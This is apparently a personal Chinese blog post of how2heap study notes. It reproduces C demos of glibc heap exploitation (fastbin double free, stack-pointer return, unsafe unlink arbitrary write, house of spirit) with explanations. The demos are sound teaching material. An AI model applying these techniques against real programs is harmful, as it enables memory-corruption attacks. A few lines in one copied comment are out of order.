how2heap 学习笔记

first_fit.c

#include <stdio.h>
#include <stdlib.h>
#include <string.h>

int main()
{
        fprintf(stderr, "This file doesn't demonstrate an attack, but shows the nature of glibc's allocator.\n");
        fprintf(stderr, "glibc uses a first-fit algorithm to select a free chunk.\n");
        fprintf(stderr, "If a chunk is free and large enough, malloc will select this chunk.\n");
        fprintf(stderr, "This can be exploited in a use-after-free situation.\n");

        fprintf(stderr, "Allocating 2 buffers. They can be large, don't have to be fastbin.\n");
        char* a = malloc(0x512);
        char* b = malloc(0x256);
        char* c;

        fprintf(stderr, "1st malloc(0x512): %p\n", a);
        fprintf(stderr, "2nd malloc(0x256): %p\n", b);
        fprintf(stderr, "we could continue mallocing here...\n");
        fprintf(stderr, "now let's put a string at a that we can read later \"this is A!\"\n");
        strcpy(a, "this is A!");
        fprintf(stderr, "first allocation %p points to %s\n", a, a);

        fprintf(stderr, "Freeing the first one...\n");
        free(a);

        fprintf(stderr, "We don't need to free anything again. As long as we allocate smaller than 0x512, it will end up at %p\n", a);

        fprintf(stderr, "So, let's allocate 0x500 bytes\n");
        c = malloc(0x500);
        fprintf(stderr, "3rd malloc(0x500): %p\n", c);
        fprintf(stderr, "And put a different string here, \"this is C!\"\n");
        strcpy(c, "this is C!");
        fprintf(stderr, "3rd allocation %p points to %s\n", c, c);
        fprintf(stderr, "first allocation %p points to %s\n", a, a);
        fprintf(stderr, "If we reuse the first allocation, it now holds the data from the third allocation.\n");
}

Heap 由若干个chunk 构成,chunk 的第一个 qword 表示前一个 chunk 的大小,第二个 qword 表示当前 chunk 的大小,第三个 qword 开始存储用户的数据。

由于 chunk 向 16 位(或 8 位)对齐,chunk 大小的最后 3 位必定为 0,用以存储标志位 AMP,其中最低位 P 表示 PREV_INUSE,前一 chunk 是否被使用(1/0)。

struct malloc_chunk {

  INTERNAL_SIZE_T      prev_size;  /* Size of previous chunk (if free).  */
  INTERNAL_SIZE_T      size;       /* Size in bytes, including overhead. */

  struct malloc_chunk* fd;         /* double links -- used only if free. */
  struct malloc_chunk* bk;

  /* Only used for large blocks: pointer to next larger size.  */
  struct malloc_chunk* fd_nextsize; /* double links -- used only if free. */
  struct malloc_chunk* bk_nextsize;
};

chunk 被分配后从 fd 开始存储用户数据,空闲时 fdbk 分别指向前后空闲的 chunk,用于维护一个空闲 chunk 的列表.

malloc 会向 Heap 中请求一块 chunk,分配器会从空闲堆链表头部开始遍历,找到第一块足够大的 chunk 就会分配(first_fit),多余的部分会分割成一个新的空闲 chunk。

fastbin_dup.c

int main()
{
        fprintf(stderr, "This file demonstrates a simple double-free attack with fastbins.\n");

        fprintf(stderr, "Allocating 3 buffers.\n");
        int *a = malloc(8);
        int *b = malloc(8);
        int *c = malloc(8);

        fprintf(stderr, "1st malloc(8): %p\n", a);
        fprintf(stderr, "2nd malloc(8): %p\n", b);
        fprintf(stderr, "3rd malloc(8): %p\n", c);

        fprintf(stderr, "Freeing the first one...\n");
        free(a);

        fprintf(stderr, "If we free %p again, things will crash because %p is at the top of the free list.\n", a, a);
        // free(a);

        fprintf(stderr, "So, instead, we'll free %p.\n", b);
        free(b);

        fprintf(stderr, "Now, we can free %p again, since it's not the head of the free list.\n", a);
        free(a);

        fprintf(stderr, "Now the free list has [ %p, %p, %p ]. If we malloc 3 times, we'll get %p twice!\n", a, b, a, a);
        a = malloc(8);
        b = malloc(8);
        c = malloc(8);
        fprintf(stderr, "1st malloc(8): %p\n", a);
        fprintf(stderr, "2nd malloc(8): %p\n", b);
        fprintf(stderr, "3rd malloc(8): %p\n", c);
}

为了提高效率,较小的 chunk 释放后会被存入 fastbin,fastbin 中的 chunk 的 inuse 位依旧为 1 不会与其他 chunk 合并。

fastbin 为了快速响应频繁的小内存申请,采用 单向链表和 LIFO 维护。

glibc 的 free() 有一个检测:当释放指针是 fastbin 链表头时会使得程序崩溃。

但当释放指针不是表头时,就没有这个问题了,它将被第二次放入链表中。

此时使用 malloc() 分配,将会得到相同的两个 chunk。

fastbin_dup_into_stack.c

int main()
{
        fprintf(stderr, "This file extends on fastbin_dup.c by tricking malloc into\n"
               "returning a pointer to a controlled location (in this case, the stack).\n");

        unsigned long long stack_var;

        fprintf(stderr, "The address we want malloc() to return is %p.\n", 8+(char *)&stack_var);

        int *a = malloc(8);
        int *b = malloc(8);
        int *c = malloc(8);
        free(a), free(b), free(a);

        fprintf(stderr, "Now the free list has [ %p, %p, %p ]. "
                "We'll now carry out our attack by modifying data at %p.\n", a, b, a, a);
        unsigned long long *d = malloc(8);

        fprintf(stderr, "1st malloc(8): %p\n", d);
        fprintf(stderr, "2nd malloc(8): %p\n", malloc(8));
        fprintf(stderr, "Now the free list has [ %p ].\n", a);
        fprintf(stderr, "Now, we have access to %p while it remains at the head of the free list.\n"
                "so now we are writing a fake free size (in this case, 0x20) to the stack,\n"
                "so that malloc will think there is a free chunk there and agree to\n"
                "return a pointer to it.\n", a);
        stack_var = 0x20;

        fprintf(stderr, "Now, we overwrite the first 8 bytes of the data at %p to point right before the 0x20.\n", a);
        *d = (unsigned long long) (((char*)&stack_var) - sizeof(d));

        fprintf(stderr, "3rd malloc(8): %p, putting the stack address on the free list\n", malloc(8));
        fprintf(stderr, "4th malloc(8): %p\n", malloc(8));
}

使用上一个的方法,做到修改一个在 fastbin 中的 chunk;如果此时将其的 fd 指向栈,就可以得到一个指向栈地址的指针。

为了绕过 size 检查,需要设置栈上地址的大小,在这里时 0x20。

fastbin_dup_consolidate.c

#include <stdio.h>
#include <stdlib.h>
#include <assert.h>

/*
Original reference: https://valsamaras.medium.com/the-toddlers-introduction-to-heap-exploitation-fastbin-dup-consolidate-part-4-2-ce6d68136aa8

This document is mostly used to demonstrate malloc_consolidate and how it can be leveraged with a
double free to gain two pointers to the same large-sized chunk, which is usually difficult to do
directly due to the previnuse check. Interestingly this also includes tcache-sized chunks of certain sizes.

malloc_consolidate(https://elixir.bootlin.com/glibc/glibc-2.35/source/malloc/malloc.c#L4714) essentially
merges all fastbin chunks with their neighbors, puts them in the unsorted bin and merges them with top
if possible.

As of glibc version 2.35 it is called only in the following five places:
1. _int_malloc: A large sized chunk is being allocated
3. _int_free: If the chunk size is >= FASTBIN_CONSOLIDATION_THRESHOLD (65536)
2. _int_malloc: No bins were found for a chunk and top is too small
4. mtrim: Always
5. __libc_mallopt: Always

small bin (since we are trying to get into the 'else' branch of this check: https://elixir.bootlin.com/glibc/glibc-2.35/source/malloc/malloc.c#L3901).
We will be targeting the first place, so we will need to allocate a chunk that does not belong in the
This means our chunk will need to be of size >= 0x400 (it is thus large-sized). Notably, the
biggest tcache sized chunk is 0x410, so if our chunk is in the [0x400, 0x410] range we can utilize
a double free to gain control of a tcache sized chunk.
*/

#define CHUNK_SIZE 0x400

int main() {
        printf("This technique will make use of malloc_consolidate and a double free to gain a duplication in the tcache.\n");
        printf("Lets prepare to fill up the tcache in order to force fastbin usage...\n\n");

        void *ptr[7];

        for(int i = 0; i < 7; i++)
                ptr[i] = malloc(0x40);

        void* p1 = malloc(0x40);
        printf("Allocate another chunk of the same size p1=%p \n", p1);

        printf("Fill up the tcache...\n");
        for(int i = 0; i < 7; i++)
                free(ptr[i]);

        printf("Now freeing p1 will add it to the fastbin.\n\n");
        free(p1);

        printf("To trigger malloc_consolidate we need to allocate a chunk with large chunk size (>= 0x400)\n");
        printf("which corresponds to request size >= 0x3f0. We will request 0x400 bytes, which will gives us\n");
        printf("a tcache-sized chunk with chunk size 0x410 ");
        void* p2 = malloc(CHUNK_SIZE);

        printf("p2=%p.\n", p2);

        printf("\nFirst, malloc_consolidate will merge the fast chunk p1 with top.\n");
        printf("Then, p2 is allocated from top since there is no free chunk bigger (or equal) than it. Thus, p1 = p2.\n");

        assert(p1 == p2);

        printf("We will double free p1, which now points to the 0x410 chunk we just allocated (p2).\n\n");
        free(p1); // vulnerability (double free)
        printf("It is now in the tcache (or merged with top if we had initially chosen a chunk size > 0x410).\n");

        printf("So p1 is double freed, and p2 hasn't been freed although it now points to a free chunk.\n");

        printf("We will request 0x400 bytes. This will give us the 0x410 chunk that's currently in\n");
        printf("the tcache bin. p2 and p1 will still be pointing to it.\n");
        void *p3 = malloc(CHUNK_SIZE);

        assert(p3 == p2);
        printf("We now have two pointers (p2 and p3) that haven't been directly freed\n");

        printf("and both point to the same tcache sized chunk. p2=%p p3=%p\n", p2, p3);
        printf("We have achieved duplication!\n\n");

        printf("Note: This duplication would have also worked with a larger chunk size, the chunks would\n");
        printf("have behaved the same, just being taken from the top instead of from the tcache bin.\n");
        printf("This is pretty cool because it is usually difficult to duplicate large sized chunks\n");
        printf("because they are resistant to direct double free's due to their PREV_INUSE check.\n");

        return 0;
}

通过 malloc_consolidate 与 double-free 组合以得到两个指针指向相同的 large-sized chunk。

malloc_consolidate 将所有 fastbin 中的 chunk 与相邻块合并,放入 unsorted bin 或与 top chunk 合并。

glibc 2.35 中 malloc_consolidate 在以下五个地方被调用:

  • _int_malloc:一个 large chunk 被分配 CODE
  • _int_free:chunk 大小大于等于 FASTBIN_CONSOLIDATION_THRESHOLD (65536) CODE
  • _int_malloc:没有合适的 bin 来提供 chunk 且 top chunk 不够大CODE
  • mtrim:总是 CODE
  • __libc_mallopt:总是 CODE

想要在 malloc 中触发 malloc_consolidate,我们需要使分配的 chunk 的大小大于等于 0x400,即 large-sized。

同时,tcache-sized 的最大大小是 0x410,所以我们可以用这种方法来控制一个 tcache-sized chunk。

unsafe_unlink.c

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>
#include <assert.h>

uint64_t *chunk0_ptr;

int main()
{
        setbuf(stdout, NULL);
        printf("Welcome to unsafe unlink 2.0!\n");
        printf("Tested in Ubuntu 20.04 64bit.\n");
        printf("This technique can be used when you have a pointer at a known location to a region you can call unlink on.\n");
        printf("The most common scenario is a vulnerable buffer that can be overflown and has a global pointer.\n");

        int malloc_size = 0x420; //we want to be big enough not to use tcache or fastbin
        int header_size = 2;

        printf("The point of this exercise is to use free to corrupt the global chunk0_ptr to achieve arbitrary memory write.\n\n");

        chunk0_ptr = (uint64_t*) malloc(malloc_size); //chunk0
        uint64_t *chunk1_ptr  = (uint64_t*) malloc(malloc_size); //chunk1
        printf("The global chunk0_ptr is at %p, pointing to %p\n", &chunk0_ptr, chunk0_ptr);
        printf("The victim chunk we are going to corrupt is at %p\n\n", chunk1_ptr);

        printf("We create a fake chunk inside chunk0.\n");
        printf("We setup the size of our fake chunk so that we can bypass the check introduced in \n");
        chunk0_ptr[1] = chunk0_ptr[-1] - 0x10;
        printf("We setup the 'next_free_chunk' (fd) of our fake chunk to point near to &chunk0_ptr so that P->fd->bk = P.\n");
        chunk0_ptr[2] = (uint64_t) &chunk0_ptr-(sizeof(uint64_t)*3);
        printf("We setup the 'previous_free_chunk' (bk) of our fake chunk to point near to &chunk0_ptr so that P->bk->fd = P.\n");
        printf("With this setup we can pass this check: (P->fd->bk != P || P->bk->fd != P) == False\n");
        chunk0_ptr[3] = (uint64_t) &chunk0_ptr-(sizeof(uint64_t)*2);
        printf("Fake chunk fd: %p\n",(void*) chunk0_ptr[2]);
        printf("Fake chunk bk: %p\n\n",(void*) chunk0_ptr[3]);

        printf("We assume that we have an overflow in chunk0 so that we can freely change chunk1 metadata.\n");
        uint64_t *chunk1_hdr = chunk1_ptr - header_size;
        printf("We shrink the size of chunk0 (saved as 'previous_size' in chunk1) so that free will think that chunk0 starts where we placed our fake chunk.\n");
        printf("It's important that our fake chunk begins exactly where the known pointer points and that we shrink the chunk accordingly\n");
        chunk1_hdr[0] = malloc_size;
        printf("If we had 'normally' freed chunk0, chunk1.previous_size would have been 0x430, however this is its new value: %p\n",(void*)chunk1_hdr[0]);
        printf("We mark our fake chunk as free by setting 'previous_in_use' of chunk1 as False.\n\n");
        chunk1_hdr[1] &= ~1;

        printf("Now we free chunk1 so that consolidate backward will unlink our fake chunk, overwriting chunk0_ptr.\n");
        printf("You can find the source of the unlink_chunk function at \n\n");
        free(chunk1_ptr);

        printf("At this point we can use chunk0_ptr to overwrite itself to point to an arbitrary location.\n");
        char victim_string[8];
        strcpy(victim_string,"Hello!~");
        chunk0_ptr[3] = (uint64_t) victim_string;

        printf("chunk0_ptr is now pointing where we want, we use it to overwrite our victim string.\n");
        printf("Original value: %s\n",victim_string);
        chunk0_ptr[0] = 0x4141414142424242LL;
        printf("New Value: %s\n",victim_string);

        // sanity check
        assert(*(long *)victim_string == 0x4141414142424242L);
}

woc这是哪个天才想出来的太尼玛妙了

使用了以下机制:当你 free 一个 chunk 时,如果它相邻的 chunk 是空闲的,系统会把这个 chunk 从双向链表中 unlink 并合并,即:

  • P -> fd -> bk = P -> bk
  • P -> bk -> fd = P -> fd

通过这种方式达成修改指针的目的。

但是不能单纯的修改一个 chunk 的 fd 和 bk,只要是因为以下两个检查:

  1. (P -> fd -> bk == P) && (P -> bk -> fd == P)
  2. prev_size(P) == chunk_size(P - prev_size(P))

发现到 chunk0_ptr 是一个现成的指针指向了堆中的一个位置,我们由此展开就可以构造一个 fake chunk 来通过上面的两个检查。

此时 free chunk1 后,即可使得 chunk0_ptr 指向 &chunk0_ptr - 3,通过让其写入自己来完成 arb write。

Unlink

Check for corrupt prev_size vs size.

house_of_spirit.c

#include <stdio.h>
#include <stdlib.h>
#include <assert.h>

int main()
{
        setbuf(stdout, NULL);

        puts("This file demonstrates the house of spirit attack.");
        puts("This attack adds a non-heap pointer into fastbin, thus leading to (nearly) arbitrary write.");
        puts("Required primitives: known target address, ability to set up the start/end of the target memory");

        puts("\nStep 1: Allocate 7 chunks and free them to fill up tcache");
        void *chunks[7];
        for(int i=0; i<7; i++) {
                chunks[i] = malloc(0x30);
        }
        for(int i=0; i<7; i++) {
                free(chunks[i]);
        }

        puts("\nStep 2: Prepare the fake chunk");
        // This has nothing to do with fastbinsY (do not be fooled by the 10) - fake_chunks is just a piece of memory to fulfil allocations (pointed to from fastbinsY)
        long fake_chunks[10] __attribute__ ((aligned (0x10)));
        printf("The target fake chunk is at %p\n", fake_chunks);
        printf("It contains two chunks. The first starts at %p and the second at %p.\n", &fake_chunks[1], &fake_chunks[9]);
        printf("This chunk.size of this region has to be 16 more than the region (to accommodate the chunk data) while still falling into the fastbin category (<= 128 on x64). The PREV_INUSE (lsb) bit is ignored by free for fastbin-sized chunks, however the IS_MMAPPED (second lsb) and NON_MAIN_ARENA (third lsb) bits cause problems.\n");
        puts("... note that this has to be the size of the next malloc request rounded to the internal size used by the malloc implementation. E.g. on x64, 0x30-0x38 will all be rounded to 0x40, so they would work for the malloc parameter at the end.");
        fake_chunks[1] = 0x40; // this is the size
    printf("Now set the size of the chunk (%p) to 0x40 so malloc will think it is a valid chunk.\n", &fake_chunks[1]);

        printf("The chunk.size of the *next* fake region has to be sane. That is > 2*SIZE_SZ (> 16 on x64) && < av->system_mem (< 128kb by default for the main arena) to pass the nextsize integrity checks. No need for fastbin size.\n");
        printf("Set the size of the chunk (%p) to 0x1234 so freeing the first chunk can succeed.\n", &fake_chunks[9]);
        fake_chunks[9] = 0x1234; // nextsize

        puts("\nStep 3: Free the first fake chunk");
        puts("Note that the address of the fake chunk must be 16-byte aligned.\n");
        void *victim = &fake_chunks[2];
        free(victim);

        puts("\nStep 4: Take out the fake chunk");
        printf("Now the next calloc will return our fake chunk at %p!\n", &fake_chunks[2]);
        printf("malloc can do the trick as well, you just need to do it for 8 times.");
        void *allocated = calloc(1, 0x30);
        printf("malloc(0x30): %p, fake chunk: %p\n", allocated, victim);

        assert(allocated == victim);
}

通过伪造一个假的 chunk,并使用 free 函数将其释放,从而让这个非堆内的 chunk 进入堆数据结构。 当调用 malloc 时,就会返回这个地址。

需要绕过的检查:

  • free 时会判断当前 chunk 相邻的下一个 chunk 的大小是否是合法的 chunk 大小,> 2*SIZE_SZ (> 16 on x64) && < av->system_mem (< 128kb by default for the main arena)
  • 与 0x10 对齐

其中提到的 malloc 需要 8 次是因为 malloc 会先尝试在 Tcache 取,然后是 fastbin,calloc 则会跳过 Tcache。


how2heap 学习笔记
https://ybwa.github.io/p/134d140d/
作者
yb
发布于
2026年1月28日
许可协议